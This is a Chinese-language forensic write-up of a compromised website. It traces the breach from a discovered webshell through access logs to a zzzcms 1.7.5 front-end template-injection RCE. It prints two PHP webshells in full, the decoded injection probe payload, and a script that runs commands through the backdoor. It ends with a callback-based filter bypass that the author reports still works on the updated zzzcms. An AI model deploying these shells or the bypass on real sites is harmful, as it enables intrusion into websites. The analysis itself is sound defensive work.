一般安全厂商都会有针对web后门的扫描工具,此次拿到了一批网站被植入后门的攻击线索,由于疫情原因,现场排查取证条件比较苛刻,所以此次溯源是在开局一个后门情况下开展,大致思路是连接后门->查看日志->漏洞溯源。
存在后门的URL : http://www.xxxx.com/plugins/layer/mobile/need/wwConapp.php
<?php
function fun2(){
$b=$_POST;
return @($b[a]);
}
@extract(array(b=>create_function(NULL,fun2())));
@extract(array(c=>$b()));
?>hello
进去之后想要通过antasword执行命令,发现ret=127,于是查看phpinfo,发现存在disable_functions
diable_functions : exec,passthru,popen,proc_open,shell_exec,system,assert
禁用了这些命令执行的先关函数,绕过应该还是好绕的,不过在同目录下已经发现了前人留下的bypass_disablefunc_x.so,省去了绕过时间,直接复用即可
到这儿基本已经相当于可以远程执行命令,达到现场排查、取证溯源的目的。
通过cat access.log来获取访问日志,这里通过撰写脚本只获取了2020年4月1日至2020年12月31日的日志,方便我们进行精准溯源。
#coding:utf-8
import requestsfor month in range(4,13):
for days in range(1,31):
date = '%02d' % month + '%02d' % days
url = 'http://www.xxxx.com/plugins/layer/mobile/need/back.php?cmd=cat%20/lnweb08/domain/3/8/5/38583/logs/access_log.2020' + date + '&outpath=/tmp/1&sopath=/lnweb08/domain/3/8/5/38583/www/plugins/layer/mobile/need/bypass_disablefunc_x.so'
res = requests.get(url=url)
fp = open(date+'.txt','w')
fp.write(res.content)
fp.close()
根据上图可以看到wwConapp.php的日期为2020-11-06 09:34:19,那么比较简单粗暴的方法就是直接在20201106的访问日志里查看谁访问了这个url,初步断定攻击者
比较诡异的是这个wwConapp.php没有人访问过,在具体翻看1106文件时发现了端倪
115.238.195.188 - - [06/Nov/2020:09:34:37 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 500 -
115.238.195.188 - - [06/Nov/2020:09:34:38 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 180
115.238.195.188 - - [06/Nov/2020:09:34:39 +0800] "POST //plugins/layer/mobile/need/Conapp.php HTTP/1.1" 200 161
这里时间点对上了,大约在9点34分,有相同目录下的文件访问,但是该文件为Conapp.php,猜测是后来的入侵者将Conapp.php改为了wwConapp.php,这里不再深究。
至此已经获取到了第一个攻击者的ip,115.238.195.188,那么顺着这个人的访问日志,就能解开攻击入口,事实并不如此。
#cat 1106.txt| grep 115.238.195.188 | awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
115.238.195.188 - - [06/Nov/2020:09:22:58 +0800] "POST /search/2.php HTTP/1.1" 200 161
115.238.195.188 - - [06/Nov/2020:09:22:59 +0800] "POST /search/2.php HTTP/1.1" 200 153
115.238.195.188 - - [06/Nov/2020:09:23:02 +0800] "POST /search/2.php HTTP/1.1" 200 8
115.238.195.188 - - [06/Nov/2020:09:23:04 +0800] "POST /search/2.php HTTP/1.1" 200 809
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "GET /xiseceshi.html HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:07 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "GET /xiseceshi.htm HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:08 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "GET /xiseceshi.jsp HTTP/1.1" 200 16
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
115.238.195.188 - - [06/Nov/2020:09:23:09 +0800] "POST /search/2.php HTTP/1.1" 200 7
在查看该ip的访问记录时,其中并没有发现任何异常的攻击日志,从一开始访问就是/search/2.php开头,那么再到search目录下去翻阅,也发现已经没有了2.php,但是有1.php,落地时间为2020-11-26 12:53分
<?php @$content = @stripslashes(/**/@$_POST[1]);@eval('' ./**/ $content);
到这里其实就会发现,此刻碰到的后门,因为年限已久,可能在中途已经经过了几代的shell转手,导致日志十分复杂,既然有太多的攻击者和篡改文件行为,我们还是把目标聚焦在最初的/search/2.php文件,看看最初是如何落地的
#cat *| grep '/search/2.php'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
58.219.159.109 - - [29/Aug/2020:05:50:46 +0800] "POST /search/2.php HTTP/1.1" 200 7
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 129
112.114.100.152 - - [01/Sep/2020:04:07:03 +0800] "POST /search/2.php HTTP/1.1" 200 37
可以看到在2020年8月28号,就已有2.php文件落地,那么至此其实就可以告一段落,只需要对180.126.246.121这个ip的访问行为进行溯源即可
#cat *| grep '180.126.246.121'| awk '{print $1,$2,$3,$4,$5,$6,$7,$8,$9,$10}'
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD / HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "GET /?author=1 HTTP/1.1" 200 16234
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.roulcf.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:00 +0800] "HEAD /search/?keys=%7Bif%3Aarray%5Fmap%28base%5Fconvert%2831298929054286%2C10%2C32%29%2Carray%28%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29.yizogi.%28base%5Fconvert%2810%2C10%2C36%29%5Ebase%5Fconvert%2825%2C10%2C36%29%5Ebase%5Fconvert%283%2C10%2C36%29%29%29%29%7D%7Bendif%7D HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/ HTTP/1.1" 200 10390
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "HEAD /search/2.php HTTP/1.1" 200 -
180.126.246.121 - - [28/Aug/2020:05:00:01 +0800] "POST /search/2.php HTTP/1.1" 200 7
这里可以看到明显的异常流量,那么经过urldecode解密,其中一段攻击向量跟模板注入十分相似
/search/?keys={if:array_map(base_convert(31298929054286,10,32),array((base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36)).yizogi.(base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36))))}{endif}
如果熟悉先前的海洋cms 前台rce漏洞,大概就能了解这个漏洞是因为模板变量被代入解析,最终进入了eval语句
echo base_convert(31298929054286,10,32);
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
echo 'yizogi';
echo base_convert(10,10,36)^base_convert(25,10,36)^base_convert(3,10,36);
//setcookie"yizogi"
这段代码应该还是探测性的语句,如果存在模板注入漏洞,那么在返回的cookie里会有yizogi等字样,为后续的漏洞利用埋下伏笔。
通过百度,最终找到了这是zzzcms 1.7.5 的前台rce漏洞,具体漏洞测试细节可以再《waf绕过拍了拍你》这篇文章里看到。
到这里基本可以完结,180.126.246.121就是最先的入侵者,于2020年8月28日获得shell后即将shell卖给其他人,为下游犯罪提供帮助。
后来在测试该网站时发现zzzcms版本已更新到2022版本,原先的漏洞也已不复存在,甚至过滤了大部分命令执行的关键词,在测试过程中发现有一个回调函数还是可以绕过,甚至依托字符串截取的特性,可以绕过大部分对字符串进行过滤的情景。
array_intersect_uassoc(array_intersect_uassoc(array('var_dump(123);'=>''),array(''),'ass'.'ert'));
后门线索比较多,后续有考虑写一个基于图谱的响应溯源追踪系统,大致理念就是将所有日志打进图数据库里,通过图查询语句和检测规则(正则/ai)来搜寻访问后门的所有可疑ip和攻击行为,最终像人工一样思考,形成攻击路径图,方便人工进行判断。
上述如有不当之处,敬请指正。